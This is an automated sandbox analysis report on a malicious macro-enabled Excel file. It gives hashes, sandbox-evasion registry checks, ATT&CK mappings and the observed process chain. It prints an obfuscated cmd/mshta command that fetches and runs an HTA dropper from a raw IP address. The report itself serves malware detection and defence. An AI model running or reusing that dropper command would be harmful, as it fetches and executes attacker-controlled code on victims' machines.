232b0ace6a2a7e19d01426b6e41288d2b789d50da050eb26fbf1b5e076ad452a

General

Target

232b0ace6a2a7e19d01426b6e41288d2b789d50da050eb26fbf1b5e076ad452a.xlsm
Size

112KB
MD5

135438c355dc376a0e2bff7572584eff
SHA1

d4b6306dabe42f9fcdcb3e9dcf618eee5bebe37a
SHA256

232b0ace6a2a7e19d01426b6e41288d2b789d50da050eb26fbf1b5e076ad452a
SHA512

15b3433861cb69da8cb190c11c52077ef95c3bcbe1f6fa22e5e8bef01ffbff9bee3551cf267f894008d04ed2372cd48d05752c119a9abc6abb71a946aaaf7e6e

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://92.255.57.195/ru/ru.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	384	2104	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

45 1136 mshta.exe

flow	pid	process
45	1136	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2104 EXCEL.EXE

Suspicious use of SetWindowsHookEx 20 IoCs

Processes:

EXCEL.EXE

pid	process
2104	EXCEL.EXE
2104	EXCEL.EXE
2104	EXCEL.EXE
2104	EXCEL.EXE
2104	EXCEL.EXE
2104	EXCEL.EXE
2104	EXCEL.EXE
2104	EXCEL.EXE
2104	EXCEL.EXE
2104	EXCEL.EXE
2104	EXCEL.EXE
2104	EXCEL.EXE
2104	EXCEL.EXE
2104	EXCEL.EXE
2104	EXCEL.EXE
2104	EXCEL.EXE
2104	EXCEL.EXE
2104	EXCEL.EXE
2104	EXCEL.EXE
2104	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 2104 wrote to memory of 384	2104	EXCEL.EXE	cmd.exe
PID 2104 wrote to memory of 384	2104	EXCEL.EXE	cmd.exe
PID 384 wrote to memory of 1136	384	cmd.exe	mshta.exe
PID 384 wrote to memory of 1136	384	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\232b0ace6a2a7e19d01426b6e41288d2b789d50da050eb26fbf1b5e076ad452a.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2104

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/92.255.57.195/ru/ru.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:384

C:\Windows\system32\mshta.exe
mshta http://92.255.57.195/ru/ru.html
3⤵
- Blocklisted process makes network request
PID:1136

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2104-115-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmp

Filesize
64KB

Download
memory/2104-116-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmp

Filesize
64KB

Download
memory/2104-119-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads